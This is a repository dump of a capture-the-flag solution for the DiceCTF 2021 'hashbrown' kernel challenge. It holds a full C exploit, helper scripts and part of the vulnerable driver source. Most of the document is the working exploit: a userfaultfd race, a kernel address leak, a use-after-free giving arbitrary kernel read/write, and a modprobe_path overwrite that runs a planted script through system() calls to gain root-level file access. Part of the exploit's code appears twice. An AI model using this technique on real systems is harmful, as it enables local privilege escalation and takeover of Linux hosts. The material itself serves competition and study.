free(r->dest); 355 | free(r); 356 | } 357 | 358 | void *add(request_t *arg) { 359 | int ret; 360 | ret = ioctl(fd, ADD_KEY, arg); 361 | printf("ADD_KEY \tret: %s\t\tr->src: %s\t\tr->dest: %s\tr->key: %d\n", error[ret], arg->src, arg->dest, arg->key); 362 | return NULL; 363 | } 364 | 365 | void *delete(request_t *arg) { 366 | int ret; 367 | ret = ioctl(fd, DELETE_VALUE, arg); 368 | printf("DELETE_VALUE\tret: %s\t\tr->src: %s\t\tr->dest: %s\tr->key: %d\n", error[ret], arg->src, arg->dest, arg->key); 369 | return NULL; 370 | } 371 | 372 | uint32_t get_hash_idx(uint32_t key, uint32_t size) { 373 | uint32_t hash; 374 | key ^= (key >> 20) ^ (key >> 12); 375 | hash = key ^ (key >> 7) ^ (key >> 4); 376 | return hash & (size - 1); 377 | } 378 | 379 | int userfaultfd(int flags) { 380 | return syscall(SYS_userfaultfd, flags); 381 | } 382 | 383 | int register_ufd(uint64_t page) { 384 | int fd = 0; 385 | int memsize = 0x1000; 386 | uf_page = page; 387 | struct uffdio_api api = { .api = UFFD_API }; 388 | 389 | uf_page = (uint64_t)mmap((void *)uf_page, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); 390 | if ((void *)uf_page == MAP_FAILED) { 391 | perror("mmap uf_page"); 392 | exit(2); 393 | } 394 | 395 | if ((fd = userfaultfd(O_NONBLOCK)) == -1) { 396 | fprintf(stderr, "++ userfaultfd failed: %m\n"); 397 | exit(-1); 398 | } 399 | 400 | if (ioctl(fd, UFFDIO_API, &api)) { 401 | fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); 402 | exit(-1); 403 | } 404 | if (api.api != UFFD_API) { 405 | fprintf(stderr, "++ unexepcted UFFD api version.\n"); 406 | exit(-1); 407 | } 408 | 409 | /* mmap some pages, set them up with the userfaultfd. */ 410 | struct uffdio_register reg = { 411 | .mode = UFFDIO_REGISTER_MODE_MISSING, 412 | .range = { 413 | .start = uf_page, 414 | .len = memsize 415 | } 416 | }; 417 | 418 | if (ioctl(fd, UFFDIO_REGISTER, ®) == -1) { 419 | fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); 420 | exit(-1); 421 | } 422 | 423 | return fd; 424 | } 425 | 426 | void *race_userfault(void *arg) { 427 | // request_t *req = create_request(0, 0x20); 428 | int ufd = (intptr_t)arg; 429 | char uf_buffer[0x1000]; 430 | struct pollfd evt = { .fd = ufd, .events = POLLIN }; 431 | 432 | while (poll(&evt, 1, -1) > 0) { 433 | /* unexpected poll events */ 434 | if (evt.revents & POLLERR) { 435 | perror("poll"); 436 | exit(-1); 437 | } else if (evt.revents & POLLHUP) { 438 | perror("pollhup"); 439 | exit(-1); 440 | } 441 | struct uffd_msg fault_msg = {0}; 442 | if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { 443 | perror("read"); 444 | exit(-1); 445 | } 446 | char *place = (char *)fault_msg.arg.pagefault.address; 447 | if (fault_msg.event != UFFD_EVENT_PAGEFAULT 448 | || (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) { 449 | fprintf(stderr, "unexpected pagefault?.\n"); 450 | exit(-1); 451 | } 452 | if (place == (void *)uf_page) { 453 | printf("[+] got page fault at address %p, nice!\n", place); 454 | printf("[*] now delete %u\n",del_r->key); 455 | (*race_function)(del_r); 456 | printf("[*] done! now releasing ufd to finish exit\n"); 457 | 458 | /* release by copying some data to faulting address */ 459 | struct uffdio_copy copy = { 460 | .dst = (long) place, 461 | .src = (long) uf_buffer, 462 | .len = PAGESIZE 463 | }; 464 | if (ioctl(ufd, UFFDIO_COPY, ©) < 0) { 465 | perror("ioctl(UFFDIO_COPY)"); 466 | exit(-1); 467 | } 468 | break; 469 | } 470 | } 471 | close(ufd); 472 | // free_request(req); 473 | return NULL; 474 | } 475 | 476 | void leak_function(request_t *req) { 477 | int shmid; 478 | void *shmaddr; 479 | delete(req); 480 | if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) { 481 | perror("shmget error"); 482 | exit(10); 483 | } 484 | shmaddr = shmat(shmid, NULL, 0); 485 | if (shmaddr == (void *)-1) { 486 | perror("shmat error"); 487 | exit(11); 488 | } 489 | } 490 | 491 | void print_leak(uint64_t *leak, uint32_t size) { 492 | int i = 0; 493 | for (i = 0; i < size; i++) { 494 | printf("0x%016lx\t", leak[i]); 495 | if (!((i + 1) % 2)) { 496 | printf("\n"); 497 | } 498 | } 499 | printf("\n"); 500 | } 501 | 502 | long update_value(int fd, uint32_t key, uint32_t size, char *src) { 503 | request_t request; 504 | request.key = key; 505 | request.size = size; 506 | request.src = src; 507 | 508 | return ioctl(fd, UPDATE_VALUE, (unsigned long)&request); 509 | } 510 | 511 | void make_flag_readable() { 512 | char filename[65]; 513 | memset(filename, 0, sizeof(filename)); 514 | system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/roooot"); 515 | system("chmod +x /home/ctf/roooot"); 516 | system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/w\n"); 517 | system("chmod +x /home/ctf/w"); 518 | system("/home/ctf/roooot"); 519 | return; 520 | 521 | } 522 | 523 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * author: @meowmeowxw 3 | * 4 | * Main ideas: https://www.willsroot.io/2020/10/cuctf-2020-hotrod-kernel-writeup.html 5 | * https://www.willsroot.io/2021/02/dicectf-2021-hashbrown-writeup-from.html 6 | * 7 | * 8 | * 9 | * https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html 10 | * https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html 11 | * https://rpis.ec/blog/tokyowesterns-2019-gnote/ 12 | * https://duasynt.com/blog/linux-kernel-heap-spray 13 | * https://syst3mfailure.github.io/hotrod 14 | * https://github.com/esanfelix/r2con2019-ctf-kernel/blob/master/solution/exploit_kaslr_cred.c#L268 FIND TASK_STRUCT 15 | */ 16 | #define _GNU_SOURCE 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #define DEVICE_NAME "/dev/hashbrown" 44 | #define CLASS_NAME "/dev/hashbrown" 45 | 46 | #define ADD_KEY 0x1337 47 | #define DELETE_KEY 0x1338 48 | #define UPDATE_VALUE 0x1339 49 | #define DELETE_VALUE 0x133a 50 | #define GET_VALUE 0x133b 51 | 52 | #define SIZE_ARR_START 0x10 53 | #define SIZE_ARR_MAX 0x200 54 | #define MAX_ENTRIES 0x400 55 | #define MAX_VALUE_SIZE 0xb0 56 | #define GET_THRESHOLD(size) size - (size >> 2) 57 | 58 | #define OK 0 59 | #define INVALID 1 60 | #define EXISTS 2 61 | #define NOT_EXISTS 3 62 | #define MAXED 4 63 | 64 | #define THREADS 8 65 | #define DEFAULT_SIZE 0xb0 66 | #define PAGESIZE 0x1000 67 | 68 | /* 69 | #define COMM 0x570 70 | #define CRED 0x560 71 | #define TASKS 0x2c8 72 | // #define CRED 0x518 73 | #define CRED 0x6a8 74 | #define COMM 0x6b8 75 | #define TASKS 0x3e8 76 | */ 77 | 78 | 79 | #define COMM 0x708 80 | #define CRED 0x6f8 81 | #define TASKS 0x438 82 | 83 | typedef struct { 84 | uint32_t key; 85 | uint32_t size; 86 | char *src; 87 | char *dest; 88 | } request_t; 89 | 90 | typedef struct { 91 | int error_code; 92 | const char* error_message; 93 | } error_type; 94 | 95 | uint32_t get_hash_idx(uint32_t key, uint32_t size); 96 | request_t *create_request(uint32_t key, uint32_t size); 97 | void free_request(request_t *r); 98 | void *add(request_t *arg); 99 | void *delete(request_t *arg); 100 | void *race_userfault(void *arg); 101 | void (*race_function)(void *); 102 | void leak_function(request_t *req); 103 | void print_leak(uint64_t *leak, uint32_t size); 104 | void init_error(); 105 | void init_commands(); 106 | int userfaultfd(int flags); 107 | int register_ufd(uint64_t page); 108 | long update_value(int fd, uint32_t key, uint32_t size, char *src); 109 | void make_flag_readable(); 110 | void read_leak(uint64_t address, uint32_t size, uint32_t uaf_entry, uint32_t idx); 111 | 112 | uint64_t uf_page; 113 | char *error[] = {"OK ", "INVALID", "EXISTS", "NOT_EXISTS", "MAXED"}; 114 | char *default_add = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; 115 | char *default_del = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"; 116 | uint64_t base, init_task, modprobe_path; 117 | uint64_t leak[0x300]; 118 | int uaf = 0; 119 | int fd; 120 | request_t *del_r; 121 | 122 | int main(int argc, char **argv) { 123 | struct timespec t; 124 | pthread_t thread; 125 | request_t *add_r; 126 | request_t evil; 127 | uint32_t added = 0; 128 | int threshold; 129 | int ufd; 130 | int size; 131 | pid_t pid; 132 | int ret; 133 | int i = 0; 134 | uint32_t j = 0, h1 = 0, h2 = 0; 135 | size = SIZE_ARR_START; 136 | threshold = GET_THRESHOLD(size); 137 | 138 | fd = open(DEVICE_NAME, O_RDONLY); 139 | 140 | del_r = create_request(0, 0x20); 141 | add_r = create_request(1, DEFAULT_SIZE); 142 | strcpy(del_r->src, "b"); 143 | strcpy(add_r->src, default_add); 144 | 145 | add(del_r); 146 | 147 | for (i = 1; i < 12; i++) { 148 | add_r->key = i; 149 | add(add_r); 150 | } 151 | 152 | ufd = register_ufd(0xaaaa000); 153 | printf("[*] ufd: %d\n", ufd); 154 | race_function = (void *)leak_function; 155 | 156 | if (pthread_create(&thread, NULL, (void *)race_userfault, (void *)(intptr_t)ufd) != 0) { 157 | perror("pthread"); 158 | } 159 | 160 | add_r->key = i++; 161 | add_r->src = (char *)uf_page; 162 | del_r->key = 0; 163 | add(add_r); 164 | 165 | pthread_join(thread, NULL); 166 | 167 | ret = ioctl(fd, GET_VALUE, del_r); 168 | if (ret == OK) { 169 | puts("[*] leak"); 170 | } else { 171 | puts("NO LEAK\n"); 172 | return 1; 173 | } 174 | 175 | memcpy(leak, del_r->dest, 0x20); 176 | print_leak(leak, 0x4); 177 | 178 | base = leak[1] - 0xb0dca0; 179 | // init_task = base + 0xa13720; 180 | // init_task = 0xffffffff81a13940; NOKASLR 181 | init_task = base + 0xa13940; 182 | modprobe_path = base + 0xa46fe0; 183 | printf("[*] base address: 0x%016lx\n", base); 184 | printf("[*] init task: 0x%016lx\n", init_task); 185 | printf("[*] modprobe_path: 0x%016lx\n", modprobe_path); 186 | 187 | for (; i <= 22; i++) { 188 | add_r->key = i; 189 | add(add_r); 190 | } 191 | 192 | // add_r has equal size of del_r 193 | add_r = create_request(0x401, 0x20); 194 | strcpy(add_r->src, "cccccccccccccccccccccccccccccccc"); 195 | add(add_r); 196 | 197 | ufd = register_ufd(0xcafe000); 198 | printf("[*] ufd: %d\n", ufd); 199 | race_function = (void *)delete; 200 | del_r->key = 0x401; 201 | 202 | if (pthread_create(&thread, NULL, (void *)race_userfault, (void *)(intptr_t)ufd) != 0) { 203 | perror("pthread"); 204 | } 205 | 206 | add_r->key = i++; 207 | add_r->src = (char *)uf_page; 208 | add(add_r); 209 | 210 | pthread_join(thread, NULL); 211 | 212 | ioctl(fd, GET_VALUE, del_r); 213 | memcpy(leak, del_r->dest, 0x20); 214 | print_leak(leak, 0x4); 215 | // free_request(add_r); 216 | 217 | /* 218 | * Basically we were able to delete a 0x20 chunk and maintain the pointer 219 | * to it. What happens if we reallocate some request_t structure? since a 220 | * structure request_t occupies 0x20, we will probably reallocate the deleted 221 | * chunk (UAF). 222 | * 223 | * Now we can overwrite the request_t.src pointer to modprobe_path and 224 | * overwrite with UPDATE_VALUE. 225 | * 226 | * We set add_r->size to DEFAULT_SIZE = 0xb0, in this way we are sure to do 227 | * UAF against a request_t and not a request_t->value. 228 | * 229 | */ 230 | 231 | add_r = create_request(i, DEFAULT_SIZE); 232 | 233 | for (; i < 0x40; i++) { 234 | add_r->src[0] = (unsigned char)i; 235 | add_r->key = i; 236 | add(add_r); 237 | } 238 | 239 | del_r->key = 0x401; 240 | ret = ioctl(fd, GET_VALUE, del_r); 241 | if (ret == OK) { 242 | puts("[*] use-after-free"); 243 | } else { 244 | puts("NO UAF\n"); 245 | return 100; 246 | } 247 | 248 | uint32_t uaf_entry = *(int *)del_r->dest; 249 | printf("[!] uaf entry: %u\n", uaf_entry); 250 | memcpy(leak, del_r->dest, 0x20); 251 | print_leak(leak, 0x4); 252 | 253 | prctl(PR_SET_NAME, "EXPLOIT4", NULL, NULL, NULL); 254 | 255 | char s[0x10]; 256 | j = 0; 257 | uint64_t current = init_task; 258 | // OR DO WHILE UNTIL YOU FIND THE RIGHT ONE BUT CRASH 259 | 260 | uint64_t ksymtab_prepare_kernel_cred = base + 0x995158; 261 | uint64_t ksymtab_commit_creds = base + 0x992104; 262 | uint64_t prepare_kernel_cred = ksymtab_prepare_kernel_cred; 263 | uint64_t commit_creds = ksymtab_commit_creds; 264 | printf("[*] ksymtab_prepare_kernel_cred: 0x%016lx\n", ksymtab_prepare_kernel_cred); 265 | printf("[*] ksymtab_commit_creds: 0x%016lx\n", ksymtab_commit_creds); 266 | read_leak(ksymtab_prepare_kernel_cred, 0x20, uaf_entry, 0x401); 267 | prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)leak[0]; 268 | read_leak(ksymtab_commit_creds, 0x20, uaf_entry, 0x401); 269 | commit_creds = ksymtab_commit_creds + (int)leak[0]; 270 | printf("[*] prepare_kernel_cred: 0x%016lx\n", prepare_kernel_cred); 271 | printf("[*] commit_creds: 0x%016lx\n", commit_creds); 272 | 273 | for (i = 0; i < 0x4; i++) { 274 | printf("\n\n\n[*] task_struct: %d\n", i); 275 | printf("current: 0x%16lx\n", current); 276 | 277 | read_leak(current + COMM, 0x20, uaf_entry, 0x401); 278 | strcpy(s, (char *)leak); 279 | printf("COMM: %s\n", s); 280 | memset(s, 0, 0x10); 281 | 282 | read_leak(current + TASKS, 0x20, uaf_entry, 0x401); 283 | current = leak[0] - TASKS; 284 | } 285 | 286 | 287 | 288 | // modprobe_path exploitation 289 | evil.key = uaf_entry; 290 | evil.size = 0x20; 291 | evil.src = (char *)modprobe_path; 292 | evil.dest = NULL; 293 | 294 | // https://kileak.github.io/ctf/2019/xctf-hackme/ modprobe_path trick 295 | del_r->key = 0x401; 296 | memcpy(del_r->src, (void *)&evil, sizeof(evil)); 297 | ioctl(fd, UPDATE_VALUE, del_r); 298 | 299 | del_r->key = uaf_entry; 300 | strcpy(del_r->src, "/home/ctf/w"); 301 | ioctl(fd, UPDATE_VALUE, del_r); 302 | printf("UPDATE: %u\tRET: %s\n", del_r->key, error[ret]); 303 | 304 | make_flag_readable(); 305 | 306 | 307 | return 0; 308 | } 309 | 310 | void read_leak(uint64_t address, uint32_t size, uint32_t uaf_entry, uint32_t idx) { 311 | int ret; 312 | char dest_evil[0x100]; 313 | char dest_update[0x100]; 314 | char src[0x100]; 315 | 316 | request_t evil = { 317 | .key = uaf_entry, 318 | .size = 0x20, 319 | .src = (char *)address, 320 | .dest = dest_evil 321 | }; 322 | 323 | request_t update = { 324 | .key = idx, 325 | .size = 0x20, 326 | .src = src, 327 | .dest = dest_update, 328 | }; 329 | 330 | memset(dest_evil, 0, 0x100); 331 | memcpy(update.src, (void *)&evil, sizeof(evil)); 332 | ret = ioctl(fd, UPDATE_VALUE, &update); 333 | printf("UPDATE: %u\tRET: %s\n", update.key, error[ret]); 334 | 335 | update.key = evil.key; 336 | ret = ioctl(fd, GET_VALUE, &update); 337 | printf("GET_VALUE: %u\tRET: %s\n", update.key, error[ret]); 338 | 339 | memcpy(leak, dest_update, 0x20); 340 | print_leak(leak, 0x4); 341 | } 342 | 343 | request_t *create_request(uint32_t key, uint32_t size) { 344 | request_t *r = calloc(1, sizeof(request_t)); 345 | r->key = key; 346 | r->size = size; 347 | r->src = calloc(1, size); 348 | r->dest = calloc(1, size); 349 | return r; 350 | } 351 | 352 | void free_request(request_t *r) { 353 | free(r->src); 354 | free(r->dest); 355 | free(r); 356 | } 357 | 358 | void *add(request_t *arg) { 359 | int ret; 360 | ret = ioctl(fd, ADD_KEY, arg); 361 | printf("ADD_KEY \tret: %s\t\tr->src: %s\t\tr->dest: %s\tr->key: %d\n", error[ret], arg->src, arg->dest, arg->key); 362 | return NULL; 363 | } 364 | 365 | void *delete(request_t *arg) { 366 | int ret; 367 | ret = ioctl(fd, DELETE_VALUE, arg); 368 | printf("DELETE_VALUE\tret: %s\t\tr->src: %s\t\tr->dest: %s\tr->key: %d\n", error[ret], arg->src, arg->dest, arg->key); 369 | return NULL; 370 | } 371 | 372 | uint32_t get_hash_idx(uint32_t key, uint32_t size) { 373 | uint32_t hash; 374 | key ^= (key >> 20) ^ (key >> 12); 375 | hash = key ^ (key >> 7) ^ (key >> 4); 376 | return hash & (size - 1); 377 | } 378 | 379 | int userfaultfd(int flags) { 380 | return syscall(SYS_userfaultfd, flags); 381 | } 382 | 383 | int register_ufd(uint64_t page) { 384 | int fd = 0; 385 | int memsize = 0x1000; 386 | uf_page = page; 387 | struct uffdio_api api = { .api = UFFD_API }; 388 | 389 | uf_page = (uint64_t)mmap((void *)uf_page, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); 390 | if ((void *)uf_page == MAP_FAILED) { 391 | perror("mmap uf_page"); 392 | exit(2); 393 | } 394 | 395 | if ((fd = userfaultfd(O_NONBLOCK)) == -1) { 396 | fprintf(stderr, "++ userfaultfd failed: %m\n"); 397 | exit(-1); 398 | } 399 | 400 | if (ioctl(fd, UFFDIO_API, &api)) { 401 | fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n"); 402 | exit(-1); 403 | } 404 | if (api.api != UFFD_API) { 405 | fprintf(stderr, "++ unexepcted UFFD api version.\n"); 406 | exit(-1); 407 | } 408 | 409 | /* mmap some pages, set them up with the userfaultfd. */ 410 | struct uffdio_register reg = { 411 | .mode = UFFDIO_REGISTER_MODE_MISSING, 412 | .range = { 413 | .start = uf_page, 414 | .len = memsize 415 | } 416 | }; 417 | 418 | if (ioctl(fd, UFFDIO_REGISTER, ®) == -1) { 419 | fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n"); 420 | exit(-1); 421 | } 422 | 423 | return fd; 424 | } 425 | 426 | void *race_userfault(void *arg) { 427 | // request_t *req = create_request(0, 0x20); 428 | int ufd = (intptr_t)arg; 429 | char uf_buffer[0x1000]; 430 | struct pollfd evt = { .fd = ufd, .events = POLLIN }; 431 | 432 | while (poll(&evt, 1, -1) > 0) { 433 | /* unexpected poll events */ 434 | if (evt.revents & POLLERR) { 435 | perror("poll"); 436 | exit(-1); 437 | } else if (evt.revents & POLLHUP) { 438 | perror("pollhup"); 439 | exit(-1); 440 | } 441 | struct uffd_msg fault_msg = {0}; 442 | if (read(ufd, &fault_msg, sizeof(fault_msg)) != sizeof(fault_msg)) { 443 | perror("read"); 444 | exit(-1); 445 | } 446 | char *place = (char *)fault_msg.arg.pagefault.address; 447 | if (fault_msg.event != UFFD_EVENT_PAGEFAULT 448 | || (place != (void *)uf_page && place != (void *)uf_page + PAGESIZE)) { 449 | fprintf(stderr, "unexpected pagefault?.\n"); 450 | exit(-1); 451 | } 452 | if (place == (void *)uf_page) { 453 | printf("[+] got page fault at address %p, nice!\n", place); 454 | printf("[*] now delete %u\n",del_r->key); 455 | (*race_function)(del_r); 456 | printf("[*] done! now releasing ufd to finish exit\n"); 457 | 458 | /* release by copying some data to faulting address */ 459 | struct uffdio_copy copy = { 460 | .dst = (long) place, 461 | .src = (long) uf_buffer, 462 | .len = PAGESIZE 463 | }; 464 | if (ioctl(ufd, UFFDIO_COPY, ©) < 0) { 465 | perror("ioctl(UFFDIO_COPY)"); 466 | exit(-1); 467 | } 468 | break; 469 | } 470 | } 471 | close(ufd); 472 | // free_request(req); 473 | return NULL; 474 | } 475 | 476 | void leak_function(request_t *req) { 477 | int shmid; 478 | void *shmaddr; 479 | delete(req); 480 | if ((shmid = shmget(IPC_PRIVATE, 100, 0600)) == -1) { 481 | perror("shmget error"); 482 | exit(10); 483 | } 484 | shmaddr = shmat(shmid, NULL, 0); 485 | if (shmaddr == (void *)-1) { 486 | perror("shmat error"); 487 | exit(11); 488 | } 489 | } 490 | 491 | void print_leak(uint64_t *leak, uint32_t size) { 492 | int i = 0; 493 | for (i = 0; i < size; i++) { 494 | printf("0x%016lx\t", leak[i]); 495 | if (!((i + 1) % 2)) { 496 | printf("\n"); 497 | } 498 | } 499 | printf("\n"); 500 | } 501 | 502 | long update_value(int fd, uint32_t key, uint32_t size, char *src) { 503 | request_t request; 504 | request.key = key; 505 | request.size = size; 506 | request.src = src; 507 | 508 | return ioctl(fd, UPDATE_VALUE, (unsigned long)&request); 509 | } 510 | 511 | void make_flag_readable() { 512 | char filename[65]; 513 | memset(filename, 0, sizeof(filename)); 514 | system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/roooot"); 515 | system("chmod +x /home/ctf/roooot"); 516 | system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /home/ctf/w\n"); 517 | system("chmod +x /home/ctf/w"); 518 | system("/home/ctf/roooot"); 519 | return; 520 | 521 | } 522 | 523 | /* 524 | evil.key = uaf_entry; 525 | evil.size = 0x1000; 526 | evil.src = (char *)(current); 527 | evil.dest = calloc(1, 0x1000); 528 | 529 | // https://kileak.github.io/ctf/2019/xctf-hackme/ modprobe_path trick 530 | memcpy(del_r->src, (void *)&evil, sizeof(evil)); 531 | del_r->size = 0x20; 532 | del_r->key = 0x401; 533 | ioctl(fd, UPDATE_VALUE, del_r); 534 | printf("UPDATE: %u\tRET: %s\n", del_r->key, error[ret]); 535 | 536 | del_r->key = uaf_entry; 537 | del_r->size = 0x1000; 538 | ioctl(fd, GET_VALUE, del_r); 539 | printf("GET_VALUE: %s\tRET: %s\n", del_r->dest, error[ret]); 540 | memcpy(leak, del_r->dest, 0x800); 541 | print_leak(leak, 0x100); 542 | if ((s = strstr(del_r->dest, "EXPLOIT4")) != NULL) { 543 | printf("%s\n", s); 544 | puts("FOUND"); 545 | memcpy(leak, del_r->dest, 0x1000); 546 | print_leak(leak, 0x800); 547 | exit(0); 548 | } 549 | */ 550 | /* 551 | evil.src = (char *)(current + TASKS); 552 | memcpy(del_r->src, (void *)&evil, sizeof(evil)); 553 | ioctl(fd, UPDATE_VALUE, del_r); 554 | printf("UPDATE: %u\tRET: %s\n", del_r->key, error[ret]); 555 | del_r->key = uaf_entry; 556 | ioctl(fd, GET_VALUE, del_r); 557 | printf("GET_VALUE: %s\tRET: %s\n", del_r->dest, error[ret]); 558 | */ 559 | /* 560 | for (j = 0; j < 0x8; j++) { 561 | printf("0x%02x ", (uint8_t)del_r->dest[j]); 562 | if (j % 8 == 0) { 563 | printf("\n"); 564 | } 565 | } 566 | */ 567 | // print_leak(leak, 0x100); 568 | /* 569 | current = leak[(uint32_t)(TASKS / 8)] - (uint32_t)(TASKS / 8); 570 | */ 571 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/extract-linux.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/extract.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gzip -d -k initramfs.cpio.gz 4 | mkdir initramfs 5 | cd initramfs 6 | cpio -i --no-absolute-filename < ../initramfs.cpio 7 | 8 | -------------------------------------------------------------------------------- /ctf/dice-2021-hashbrown/hashbrown_distributed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define DEVICE_NAME "hashbrown" 10 | #define CLASS_NAME "hashbrown" 11 | 12 | MODULE_AUTHOR("FizzBuzz101"); 13 | MODULE_DESCRIPTION("Here's a hashbrown for everyone!"); 14 | MODULE_LICENSE("GPL"); 15 | 16 | #define ADD_KEY 0x1337 17 | #define DELETE_KEY 0x1338 18 | #define UPDATE_VALUE 0x1339 19 | #define DELETE_VALUE 0x133a 20 | #define GET_VALUE 0x133b 21 | 22 | #define SIZE_ARR_START 0x10 23 | #define SIZE_ARR_MAX 0x200 24 | #define MAX_ENTRIES 0x400 25 | #define MAX_VALUE_SIZE 0xb0 26 | #define GET_THRESHOLD(size) size - (size >> 2) 27 | 28 | #define INVALID 1 29 | #define EXISTS 2 30 | #define NOT_EXISTS 3 31 | #define MAXED 4 32 | 33 | static DEFINE_MUTEX(operations_lock); 34 | static DEFINE_MUTEX(resize_lock); 35 | static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg); 36 | 37 | static int major; 38 | static struct class *hashbrown_class = NULL; 39 | static struct device *hashbrown_device = NULL; 40 | static struct file_operations hashbrown_fops = {.unlocked_ioctl = hashmap_ioctl}; 41 | 42 | typedef struct 43 | { 44 | uint32_t key; 45 | uint32_t size; 46 | char *src; 47 | char *dest; 48 | }request_t; 49 | 50 | struct hash_entry 51 | { 52 | uint32_t key; 53 | uint32_t size; 54 | char *value; 55 | struct hash_entry *next; 56 | }; 57 | typedef struct hash_entry hash_entry; 58 | 59 | typedef struct 60 | { 61 | uint32_t size; 62 | uint32_t threshold; 63 | uint32_t entry_count; 64 | hash_entry **buckets; 65 | }hashmap_t; 66 | hashmap_t hashmap; 67 | 68 | static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size); 69 | 70 | static noinline long resize(request_t *arg); 71 | static noinline void resize_add(uint32_t idx, hash_entry *entry, hash_entry **new_buckets); 72 | static noinline void resize_clean_old(void); 73 | 74 | static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src); 75 | static noinline long delete_key(uint32_t idx, uint32_t key); 76 | static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src); 77 | static noinline long delete_value(uint32_t idx, uint32_t key); 78 | static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest); 79 | 80 | #pragma GCC push_options 81 | #pragma GCC optimize ("O1") 82 | 83 | static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg) 84 | { 85 | long result; 86 | request_t request; 87 | uint32_t idx; 88 | 89 | /** 90 | * meowmeowxw 91 | * 92 | * See two different lock: resize_lock and operations_lock. Race condition 93 | */ 94 | if (cmd == ADD_KEY) 95 | { 96 | if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX) 97 | { 98 | mutex_lock(&resize_lock); 99 | result = resize((request_t *)arg); 100 | mutex_unlock(&resize_lock); 101 | return result; 102 | } 103 | } 104 | 105 | mutex_lock(&operations_lock); 106 | if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) 107 | { 108 | result = INVALID; 109 | } 110 | else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES) 111 | { 112 | result = MAXED; 113 | } 114 | else 115 | { 116 | idx = get_hash_idx(request.key, hashmap.size); 117 | switch(cmd) 118 | { 119 | case ADD_KEY: 120 | result = add_key(idx, request.key, request.size, request.src); 121 | break; 122 | case DELETE_KEY: 123 | result = delete_key(idx, request.key); 124 | break; 125 | case UPDATE_VALUE: 126 | result = update_value(idx, request.key, request.size, request.src); 127 | break; 128 | case 